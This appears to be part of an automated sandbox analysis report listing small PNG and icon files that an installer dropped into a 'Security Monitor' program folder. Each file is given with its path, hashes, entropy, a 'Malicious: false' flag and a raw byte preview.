Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z......IDAT8...MkSQ...s.I./.ik...S..bA1[7n...H@...[...D.n.U..E.bAcH.$MC.....ZIc...8...w..U.=..UsbUU).;.F.+.R3....U.I%P4.E...V.......9rT.].X,V"n.\."&.3.2pn.R."...o...".L`.=..9>...-...w.y..\..#g.^...@..z..P...Z.D......D.ApA.*.........pD.:\|...&.x..p......5..R.w..x....SY.../.J&.I..H...'...X....=A.x..&...{....b.0.cEp..:............%..$&........g;f.P..6..t~.S.R.>...[6..s=x.u.r&.O...^..jJQDc0b..............'tc.ec8.#..z......>\..M..b.;.<%..4.0v....o..V/b...&g\|mo"..^...N..#.).#..fB....:..t......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-C0HFB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-D8F43.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-D8T1G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-DAIEE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.700988619334296
Encrypted:	false
SSDEEP:	24:2/3exgROSyP3NqUTxBlR8kEPzRspi/MKFhG1Bx:hQOZNVR8HVZkKDG1v
MD5:	6EC205B2369CA054BF85B085486CED9D
SHA1:	26C0B61289F804913164DDDAD8F905E12C8BD4A3
SHA-256:	7E436D02E18B665764D2F2C748068AC8069DB59BCDDA9983F09EA370D742474E
SHA-512:	A446CB697276D8AB014E0A38FFB0F6F31FC1BE4DD27A0A795829F4E844237243EE6B7A92A881841DA30F4E3E7A396E6065DAEB4C868CAD7EE195162CCDE0ADBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.[hTW...}f....8Ij.51!.TI.h.^PJ...........\|.O}RKQ..D.\|....,H.. -i....4...1..h&.....]{...v..........,.?.}.......2../...r...........zH% .Z.fA...%;>.. ..MT.+.....c....r....!......%pS.c.......k/..O...W.$Wm.].`.....N.g.......m...b.VTg#zY.j....4T..b.\|^..D7....'....\.z....J.j{(....F(.Y.3"..w`^....p.....j.:...........@;.z..UUB...O.E..6.7]..6..5,.J..Y2-...I.1(TJ..Tt...&.#.V..PH.\|.[...O....2.....[."+...2....8..K..=..;c4.....uRO[....a...........Z./.3........^{0%.$7\|..r7Np..\'.Hw....2..1..+(#.......e%B.saZ:...&s........D...g.3/ ...o........Q."....Bo:+.@.(_........^m"0..x../..../Q.....p.C............y;.'.M..f.y'Nb........B.\|...(..~e.5.....'..w...A...y.\|.....B.....z..=$.......$.k.C~...a..1.}...sNH.q;..Y..o...j.].'..~.)..H.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-DTO26.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.0034072391179
Encrypted:	false
SSDEEP:	24:3l4333333Ba333U7JDYF7336Ooi/F73afj/F72vcvtRaIDJluX5Ojk:VgWF+OZ/Fmj/Fgc6+uJOjk
MD5:	67B4BC8703A96A1CAB1B0AC8E37B26F8
SHA1:	363D0703311B99984E26F216A5205CD8D03E8389
SHA-256:	AE2369C58A93218087EB6B5535B1D2547F1FAE00DBC7303ACE8B3B1238BC7CB2
SHA-512:	0283160D49F3F7C17496B5476B2BF7689B3203E0E97CD36CA6EBE06A24D46A62F469C4F24E310220AA48D4FF7AD6D51A56621ED443AFAA50B7645B6688EBB33A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................?_..MZ.L...I...P...P...P...P...P...P...P...P...P...P...H.8.H*?..LZ.MZ................................................./9../9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ......................p\|..co..................../9...9..KX.MZ..................P`..MZ..MZ..P[................./9...9..KX.MZ..............MZ..Q^..........O[..MZ..lw......./9...9..KX.MZ......Vc..MZ..co..................en..MZ..S]..../9...9..KX.MZ..MZ..MZ................................MZ..MZ..>K../9..MZ.MZ..O_..........................................R`..MZ..LW.KY.JYc.................................................Zg..LY.S..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-EQSBJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-FK77F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-FNF9T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-GJR85.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.7202656984010085
Encrypted:	false
SSDEEP:	12:JdJzibJG6NppClipAcGrwX6QG6tIR/8hINNIyJwy1I2Mleeyy7qVT:JdJz+BalipGZP6tIMINNIcV1I2Ml2y7a
MD5:	EBFC3AD0B132D550ADC92A0F42776D1F
SHA1:	335FFD8C4685F556F837F6E8D94D7058F4636023
SHA-256:	1F00E5AE25225136ED95AD24D70C691C4367843E52A3E6D961F4E2009DFEA934
SHA-512:	A834FD7402F572AB7D27A0547C4363A02C94DCD87E733AB7DA0CC1B25437657F8876F540EC06C544AFB6490449B6611311EE82C8F6E333771D7A00CD391D523D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D.?.C..B...@...?...>...=...;...:...9...8...8...8...8...8..8./.F..Q...])..d/..b/..f1.........................._,..N...B...8..G..._+..g1..e0..d/..g2..........................a...V'..M...8...H...i3..h2..f1..e0..h2..........................b...W'..V&..8...I...k4..i3..h2..f1..h2..........................c/..Y(..W'..8...K...k4..j4..i3..g2..i3........................b...Z)..X(..8...L...l5..k4..j4..i3..g2..s@..............q?..^,..[..Z)..9...M...l5..l5..k4..j3..h2..g2..i3..l5..l5..g2.._-..^,..\+..[..:...N...l5..l5..l5..k4..j3..j3..t..........t..f1.._,..^,..\+..;...P...}M..U..Y..b..^..P..................~O..j:..e5..a0..=...Q...l..i..e..b..^..g..................g..n>..j;..f6..>...R...l..i..e..b..^..P..................~O..p@..k;..h7..?...T...l..i..e..b..^..}M..Z.........Z..q?..qA..m<..g5..@...U...X..i..e..b..^..[..~O..wD..uB..wE..vF..sB..n=..a/..B...V...m:..V..S..~P..{M..yJ..wG..uE..rA..o

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-GQJIT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.943382230545427
Encrypted:	false
SSDEEP:	12:S4YaNZKzJLGaBGzrHyCX0n3Ols63OjokVhVZcR9dfw8skIL00006fDxzKapll1Km:1uzJJBGH+j5hS9VxAmpKuNNNNNNNNNZ
MD5:	C372CECACDD31BCFD147D55D146C2CD4
SHA1:	A0C7F66256023E4DA4697CE0D37D809D206CC85E
SHA-256:	508BD905BEA0E89DA025DECD1BFE5E4B31A1F003BC3F2B5C5567A2470A307820
SHA-512:	58287A1C0896ABA3F9712FCEA29C3DAF892AE9F485E4DDBA56A442F9B7B6F439D3375A0EB46209FF4E86720B0D5C706BC22F8C49165A34458CA0A4EE2BD94DE7
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................Q...F...?...?...?...?...?...?...?...?...?...?...?...>...E...Q...H...i...............................................d...H...C...................E...3...3...3...3................C...E................3...3...3...3...3...3...3.............E...G.............F...3...3...3...3...3...3................H...I.............3...3...3................................J...K.............3...3...3................................L...N.............3...3...3...3...3...3...3................N...P.............3...3...3...3...3...3...3...3.............P...R..............3...3...3...3...3...3...3.................R...T..............3...3...3.................................U...V..............3...3...3.............................W...X.................3................................Y...[.....................................................\...g......................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-J315H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-J99KT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.836023872190528
Encrypted:	false
SSDEEP:	24:DNZdMMMMYVyz2pwij2kQauIG+wEvP3EkBChMc0kkkkke8x2R+Mxz6wwwwwwwwwwg:3qVyb0up+wEXvku8x2R+MlZwwwwwwwwh
MD5:	881D10F5781985AD7299364314CEB948
SHA1:	4F7B1A21207997EE749EABB0310E6AF507F7A502
SHA-256:	F7DD472A36C95EDC749DCAF7CCD44ADD8D3A9DE083101BDE1DD6994051374082
SHA-512:	476D739E9315B2087B0AE8DA53C8DFEB3747DE7C9548C25648B6254B7A91DCEAC10096DDC04175997D268A32612197BE07C685A4BB33643ED544FBCAC947DF88
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...q...n...n...n...z...................................z...n...n...n...j...j...................................................j...j...g...t.......x...g...g...g...g...g...g...g...g...x.......s...g...c...........c...c...c...h...........g...c...c...c...........c..._\|.........._\|.._\|.........................._\|.._\|.........._\|..\m..........\m..ar......z...\m..\m..{.......`r..\m..........\m..Y_..........Y_..........Y_..Y_..Y_..Y_..........Y_..........Y_..cV..........cV..........cV..cV..cV..cV..........cV..........cV..mN..........mN..rS.......n..mN..mN...o......rS..mN..........mN..xE..........xE..xE...m...................m..xE..xE..........xE...=..........=...=...=...C...n...n...C...=.......N..........=...4...F.......J...4...4...4...4...4...4...4...8...K.......E...4...,...,...l...................................k...,...,...............A.....................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-JN7FF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.638733880632528
Encrypted:	false
SSDEEP:	12:6v/7Uqs1+tuWPx3jbdb1W7vVeaQkcbxKOd1MB09EVxRXXstDRpROyXSF:3qs1vWPxTugaxcbxKwMB09EjUVOyg
MD5:	B9A06A13BF911BA4288024CB22CD4B8E
SHA1:	43D03CC1C89C311CD7E8F39D531341D71CEA5C98
SHA-256:	E37F73F2FC45067F9F946BA9AC18E6D5C87FFDFB096853667699EA5CA116871E
SHA-512:	417D7091DA9950B32A197599775BD72A9DD7A2D996F5F057B47D490A61AD70D697A3D2B293ECDDF0901D6EE482B86CBC04E808E08005550E7F0600AE5F1134A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.KLSQ...so.........ipC0F..$..h._....H...r.[.........+.....X.......)-..B.....C..t.............).x(....&,/..x..n.`.F.9.y.S..U..bq.....M.f.08}..G"Q.LGC...GQW..B...&.)H\|.c6.%DU...08..s.4.#..`..?..]....f. _..c.h.j{?..?q(0........}.h~'.........k..b.eZ.......f..KI0..+kz#..T/.....^.F.]..D`p....`........J8(..2.h]Z.d.j...4..`2.!..1.......KQ.......L..].K....Sq..(:.~CO.R...4:..s.y.<.\|Y..O.3..E]...'...e?.T?H@i.3..U.d,5.....8]..f...t.kh....T.....Xs.).....t.(.q.........0.....M...Y....[.O.Z...vkk......W$..2nl.......].OI..[........$g.2n\|.'X..G..]...V..+..#7.\|'."..K`jr..h.!...s..`_..Plvt....9..Zt.....D<...q6.8g.r.h..B.Y..]$.P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-K8U0P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.138741072579881
Encrypted:	false
SSDEEP:	24:+qqGcDzDzzrspvYD/teTclAZOPUzydT4l7Rx6IRzav29P9B66k:a/DzDPrsK/tegAZOPAku7H5zav2d9B6Z
MD5:	4BF5323641C8B9F667BE8A2530CB17C4
SHA1:	8824036ED659C4D0A23376329B397BB01632B9DB
SHA-256:	533DAA8DE562BB129564B41E2BBD734D74178E4CBB02B060A780A6C5DAE9D6B6
SHA-512:	E63C20BF94A9DE5D6344E56A3D6934B32D65D13201BA3326E70F1DC0AFA9475ED2BFA44EB829498AB80265DC1B3B5ADB0BE866F50F685276E5B1FD0E0AFF73FA
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................q...y...x...x...x...x...w...x...x...x...w...x...x...x...x...r...\|...s...s...s...s...s...s...r...s...t...s...s...s...s...s...{...~...v...v...w...w...v...v...v...u...u...v...v...v...w...v...\|.......z....P..........z.............z...z............P..z...........}....X..........}.............}...}............W..}............!..^..........."............."...!..........]...!...........'..e...........'.............'...'..........d...'......."...-..k...........,.............-...J..........h...,...!...%...2..q...........2..............................K...3...%...)...7..w...........8...........................6...8..........=...7...)...)...>...0......0...7...@...=...9...>...=.......2...C..[...........B...C...C...D...C...D...C...C...C...C...3...8...I..p...........I...I...J...I...J...J...J...I...J...J...6...;...O...L..`...R...O...N...N...N...O...O...O...O...N...O...:...=..U...T..U..U...T...T..U..U..T...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-M5EKJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-MV760.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-N35L8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-NA9LP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-NBT4F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	6.917623353697257
Encrypted:	false
SSDEEP:	12:6v/78/LcZn9Kk5YNxqZcvZ46+mxhdPGDjrc:KZUIYNxtvPZV
MD5:	483305114EBE1A4A44773D21D611216C
SHA1:	3C0FBD8BA2AE801A9B03CC238AB641E65E9B67D2
SHA-256:	A150DC4A0B8367A03736C12A4851EB29D780D3EE2B1D0709B417BE0A5FCE1774
SHA-512:	706D04A9BAC5EFA0F85A2070305BF52908D1D4DFF1AE27B4EA09E7BAC291D94B2E980EEEEA9A9C29559E2C728E44C276561F559532E3DFB929AD70C4829FA111
Malicious:	false
